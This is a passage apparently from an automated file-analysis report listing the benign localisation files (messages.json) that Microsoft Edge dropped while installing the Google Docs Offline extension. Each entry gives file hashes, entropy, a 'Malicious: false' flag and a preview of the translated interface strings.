SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
